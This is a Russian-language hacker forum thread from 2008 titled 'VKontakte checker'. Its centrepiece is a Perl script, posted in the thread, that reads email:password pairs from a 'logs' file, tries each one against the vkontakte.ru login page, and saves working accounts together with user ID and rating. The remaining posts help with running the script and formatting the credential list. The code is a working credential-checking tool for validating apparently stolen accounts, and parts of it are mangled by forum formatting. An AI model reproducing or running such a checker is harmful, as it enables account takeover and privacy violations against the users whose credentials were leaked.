VKontakte checker

Discussion in 'PHP' started by mouse.pro, 30 May 2008.

  1. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    А чем ты пользуешься?
     
    1 person likes this.
  2. Foxtrot1

    Foxtrot1 Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    0
    Likes Received:
    15
    Reputations:
    5
    родным dx'овским
     
    1 person likes this.
  3. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Да, но он же через прокси не работает?!
     
    1 person likes this.
  4. k0lbasa

    k0lbasa Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    189
    Likes Received:
    131
    Reputations:
    -9
    PHP:
    #!/usr/bin/perl
    # VKONTAKTE cheker
    # Original author Xszz.AoH
    # Modified by svesve
    # tnx to a4at members who help me with perl ;-)
    use strict;
    use 
    LWP::UserAgent;

    use 
    HTTP::Cookies;

    open (FILE '<logs.txt');
    my @= <FILE>;
    chomp @f;
    my $ua LWP::UserAgent->new;
    my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);
    open (OUT '>>IDS_rate.txt');
    while (@
    f)
    {
    my ($mail$pass) = split(/:/, shift(@f));

    my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass } )->as_string;
    my $suc $req =~ /302 Found/;
    if (
    $suc )
    {
    $req $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt/;
    my $idd=$2;
    $req $ua->get('http://vkontakte.ru/rate.php')->as_string;
    my $res = $if $req=~m/width:100px">(.{1,4})</;
    print "
    [rate=$res]:[id=$idd]:$mail:$pass\n";
    if (!
    $idd)
    {
    print "
    Account deleted \n";
    }
    print OUT 
    $res.":".$idd.":".$mail.":".$pass."\n";
    }
    else{print"
    [-]bad login or password \n";}
    }
    close OUT;
    close FILE;
    чекер рейтинга
     
  5. k0lbasa

    k0lbasa Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    189
    Likes Received:
    131
    Reputations:
    -9
    только как его запустить? файлы logs и IDS_rate создал, скрипт сохранил как 1.pl, запускаю и он сразу закрывается
     
  6. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    там кажись в файл logs.txt надо акки писать mail:pass ...
     
  7. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Чёт я не фкурил.Заменил в сорсах в explode(";") на explode(":");,и акки стали записываться в valid.txt,а не в goods.txt
     
  8. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Проблему решил,перекодировав все файлы вида логин:пароль в логин;пароль.Извиняюсь за тупость:Д